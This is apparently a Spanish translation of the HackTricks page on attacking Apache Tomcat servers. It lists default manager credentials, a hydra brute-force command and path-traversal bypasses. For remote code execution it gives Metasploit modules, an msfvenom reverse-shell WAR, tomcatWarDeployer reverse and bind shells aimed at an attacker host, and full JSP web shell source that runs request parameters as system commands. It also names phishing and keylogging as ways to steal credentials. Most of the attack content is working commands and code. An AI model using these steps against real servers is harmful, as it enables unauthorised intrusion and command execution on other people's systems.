hacktricks/network-services-pentesting/pentesting-web/tomcat.md

12 KiB

Tomcat

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Descubrimiento

  • Normalmente se ejecuta en el puerto 8080
  • Error común de Tomcat:

Enumeración

Identificación de la Versión

Para encontrar la versión de Apache Tomcat, se puede ejecutar un comando simple:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Ubicación de Archivos del Manager

Identificar las ubicaciones exactas de los directorios /manager y /host-manager es crucial, ya que sus nombres podrían ser modificados. Se recomienda realizar una búsqueda de fuerza bruta para localizar estas páginas.

Enumeración de Nombres de Usuario

Para versiones de Tomcat anteriores a la 6, es posible enumerar nombres de usuario a través de:

msf> use auxiliary/scanner/http/tomcat_enum

Credenciales predeterminadas

El directorio /manager/html es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación básica HTTP, con credenciales comunes siendo:

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Estas credenciales pueden ser probadas usando:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Otro directorio notable es /manager/status, que muestra la versión de Tomcat y del sistema operativo, lo que facilita la identificación de vulnerabilidades.

Ataque de Fuerza Bruta

Para intentar un ataque de fuerza bruta en el directorio del administrador, se puede usar:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Vulnerabilidades Comunes

Divulgación de Rastreo de Contraseña

Acceder a /auth.jsp puede revelar la contraseña en un rastreo bajo circunstancias afortunadas.

Codificación de URL Doble

La vulnerabilidad CVE-2007-1860 en mod_jk permite la codificación de URL doble para la travesía de directorios, lo que habilita el acceso no autorizado a la interfaz de gestión a través de una URL especialmente diseñada.

Para acceder a la interfaz web de gestión de Tomcat, vaya a: pathTomcat/%252E%252E/manager/html

/examples

Las versiones de Apache Tomcat de 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, enumerados de manera exhaustiva, deben ser verificados en busca de acceso no autorizado y posibles explotaciones. Encuentra más información aquí

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Explotación de Travesía de Directorios

En algunas configuraciones vulnerables de Tomcat puedes obtener acceso a directorios protegidos en Tomcat usando la ruta: /..;/

Por ejemplo, podrías acceder a la página del administrador de Tomcat accediendo a: www.vulnerable.com/lalala/..;/manager/html

Otra forma de evadir rutas protegidas usando este truco es acceder a http://www.vulnerable.com/;param=value/manager/html

RCE

Finalmente, si tienes acceso al Administrador de Aplicaciones Web de Tomcat, puedes cargar e implementar un archivo .war (ejecutar código).

Limitaciones

Solo podrás implementar un WAR si tienes suficientes privilegios (roles: admin, manager y manager-script). Esos detalles se pueden encontrar en tomcat-users.xml generalmente definido en /usr/share/tomcat9/etc/tomcat-users.xml (varía entre versiones) (ver POST sección).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit es una herramienta de código abierto ampliamente utilizada para el desarrollo y ejecución de exploits contra una máquina remota. Ofrece una amplia gama de módulos que pueden ser utilizados para realizar pruebas de penetración en servidores web, incluido Apache Tomcat.

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

Shell inversa MSFVenom

  1. Crear el archivo war para desplegar:
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war

Vincular y revertir la shell con tomcatWarDeployer.py

En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de sun)

Descargar

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Shell inverso

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Shell de conexión

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Usando Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Método manual - Web shell

Cree index.jsp con este contenido:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Método Manual 2

Obtenga un shell web JSP como este y cree un archivo WAR:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

El nombre del archivo de credenciales de Tomcat es tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Otras formas de obtener credenciales de Tomcat:

  • Brute Forcing: Intentar adivinar las credenciales probando diferentes combinaciones de nombres de usuario y contraseñas.
  • Exploiting Default Credentials: Utilizar las credenciales predeterminadas que vienen con la instalación de Tomcat.
  • Phishing: Engañar a los usuarios para que revelen sus credenciales a través de correos electrónicos falsos u otros métodos de ingeniería social.
  • Keylogging: Instalar un keylogger en el sistema de la víctima para capturar las credenciales introducidas.
  • Session Hijacking: Robar la sesión de un usuario legítimo para obtener acceso sin necesidad de conocer las credenciales.
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Otras herramientas de escaneo de tomcat

Referencias

Grupo de Seguridad Try Hard

{% embed url="https://discord.gg/tryhardsecurity" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!